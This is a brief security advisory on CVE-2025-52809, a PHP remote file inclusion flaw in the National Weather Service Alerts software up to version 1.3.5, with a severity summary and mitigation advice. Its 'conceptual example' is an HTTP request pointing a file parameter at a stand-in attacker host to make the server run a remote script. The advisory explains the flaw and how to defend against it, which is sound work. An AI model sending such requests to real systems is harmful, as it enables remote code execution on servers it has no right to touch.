Overview
The cybersecurity landscape is under a constant state of threat, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-52809. This vulnerability affects the National Weather Service Alerts software, particularly versions up to and including 1.3.5, posing a significant threat to its users. It pertains to an Improper Control of Filename for Include/Require Statement in PHP Program, also known as PHP Remote File Inclusion vulnerability. The concerns emerging from this vulnerability involve the potential for system compromise and data leakage, which makes it crucial for affected users to take immediate action.
Vulnerability Summary
CVE ID: CVE-2025-52809
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
John Russell National Weather Service Alerts | Up to and including 1.3.5
How the Exploit Works
The vulnerability CVE-2025-52809 is a PHP Remote File Inclusion (RFI) exploit. In simple terms, it allows an attacker to inject a remote file (usually a malicious script) into a PHP program. This happens when the PHP application does not properly control the filename that is passed to the ‘include’ or ‘require’ statement. Consequently, an attacker can manipulate these statements to include files from a remote server, which then get executed by the server hosting the vulnerable application.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.comIn the above example, the attacker tricks the server into executing a malicious script (`malicious_script.txt`) hosted on their own server (`attacker.com`).
Mitigation
To mitigate this vulnerability, users are strongly advised to apply the patch provided by the vendor. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure, which can help in detecting and blocking attempted exploits of this vulnerability. Furthermore, it is always a good practice to validate, sanitize, and limit input in ‘include’ and ‘require’ statements in PHP applications to prevent such vulnerabilities.